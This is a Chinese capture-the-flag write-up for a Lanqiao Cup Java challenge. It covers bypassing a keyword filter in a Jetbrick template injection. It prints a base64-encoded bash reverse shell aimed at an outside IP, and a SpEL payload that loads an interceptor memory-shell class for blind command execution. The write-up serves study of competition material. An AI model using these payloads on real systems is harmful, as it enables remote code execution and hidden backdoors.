第十五届蓝桥杯 网络安全赛道 ezjava

1.前言

前一秒还在robots.txt找flag,下一秒就java内存马了,还不出网,这很🏀 👍, 又坐大牢了。

ezjava在比赛时实现了rce了,但可恨的是题目没回显,不出网,没有静态目录,也不能设cookie和header头,看样子最后只能打内存马了,但本地又没有存内存马,哎。

2.ezjava

拿到jar包先反编译,然后本地动调。

   public String render_tmp(@RequestParam String str) {
      if (!str.contains("new") && !str.contains("spring") && !str.contains("Class") && !str.contains("UNIXProcess") && !str.contains("ProcessBuilder") && !str.contains("Runtime")) {
         JetTemplate template = JetEngine.create().createTemplate(str);
         StringWriter out = new StringWriter();
         template.render((Map)null, out);
         System.out.println(out.toString());
         return "RCE";
      } else {
         return "NO RCE";
      }
   }
}

是一个模板注入/表达式注入的题目,可以看到过滤了一些命令执行相关函数,然后没有回显。

先解决第一个问题,如何绕过waf

  • 我的思路是让其进行二次解析,因为createTemplate函数传的是个str,就可以利用+绕过关键字了。
  • 初步payload (根据给的文档和本地动调还是能调出来这个payload的)
str=a=${jetbrick.template.JetEngine::create().createTemplate("").render({},java.lang.System::out)};
  • 如果可以出网的话直接命令执行反弹shell就完事了
str=a=${jetbrick.template.JetEngine::create().createTemplate("${java.lang.Run"%2b"time::getRu"%2b"ntime().exec('bash-c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvNDMuMTQyLjE1LjEwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}')}").render({},java.lang.System::out)};

image-20240428121130842

第二个问题,怎么回显。参数里没带response,自然也就没办法设置response了。无脑回字符串也是无解

   public String render_tmp(@RequestParam String str) {}

最终估计是要打个内存马的。

spring带有spel表达式,我们利用模板引入spel解析器,然后打内存马,(感觉有点多此一举,他这个模板引擎本身应该就能实现,不过这个有现成的payload,不用白不用)

具体可参考这个链接

构造payload时间花的不多,但各种引号转义真让人头疼。

最终payload

str=a=${jetbrick.template.JetEngine::create().createTemplate("${ne"%2b"w+org.spr"%2b"ingframework.expression.spel.standard.SpelExpressionParser().parseExpression('T(org.spr'%2b'ingframework.cglib.core.ReflectUtils).defineCla'%2b'ss(\\'InceptorMemShell\\',T(org.spr'%2b'ingframework.util.Base64Utils).decodeFromString(\\'yv66vgAAADQBAAoAOwCKCABWCwCLAIwIAI0LAI4AjwsAjgCQCACRCACSCgCTAJQKAA4AlQgAlgoADgCXBwCYBwCZCACaCACbCgANAJwIAJ0IAJ4HAJ8KAA0AoAoAoQCiCgAUAKMIAKQKABQApQoAFACmCgAUAKcKABQAqAoAqQCqCgCpAKsKAKkAqAcArAoAIACtCwA8AK4LADwArwkAkwCwCACxCgCyAKoKALMAtAgAtQsAtgC3BwC4BwC5CwAqALoHALsIALwKAL0AvgcAvwoAMACtCgDAAMEKAMAAwgcAwwcAxAoANQCtBwDFCgA3AIoLADQAxggAxwcAyAcAyQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTEluY2VwdG9yTWVtU2hlbGw7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB2J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAC3ByaW50V3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyA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rtgAzwAA0TqcACjoEGQS2ADa7ADdZtwA4OgQtGQS5ADkCAFeyACQSOrYAJrEAAgAlAC0AMAAwADwARQBIADUABABAAAAASgASAAAAFQAIABYAFwAXACMAGAAlABoALQAdADAAGwAxABwANQAeADoAHwA8ACEARQAkAEgAIgBKACMATwAlAFgAJgBhACcAaQAoAEEAAABIAAcAMQAEAE4AdQADAEoABQBOAHYABAAXAFIAdwB4AAAAIwBGAHkAegABACUARAB7AHwAAgA8AC0AfQB%2bAAMAWAARAH8AQwAEAIAAAAAMAAEAPAAtAH0AgQADAFcAAAAtAAT/ADAAAwcAggcAgwcAhAABBwCFBP8AEgAEBwCCBwCDBwCEBwCGAAEHAIcGAAEAiAAAAAIAiQ%3d%3d\\'),T(java.lang.Thread).currentThread().getContextCl'%2b'assLoader()).n'%2b'ewInstance()').getValue()}").render({},java.lang.System::out)};

打了之后,用cmd传代码即可

image-20240428122151645

image-20240428122159265

3.注意

  • 需要用 java8来启动jar包,否则payload打不通。

4.总结

  • java还不是很熟悉,以后再慢慢学习吧。
posted @ 2024-04-28 12:40  cyyyyi  阅读(326)  评论(0编辑  收藏  举报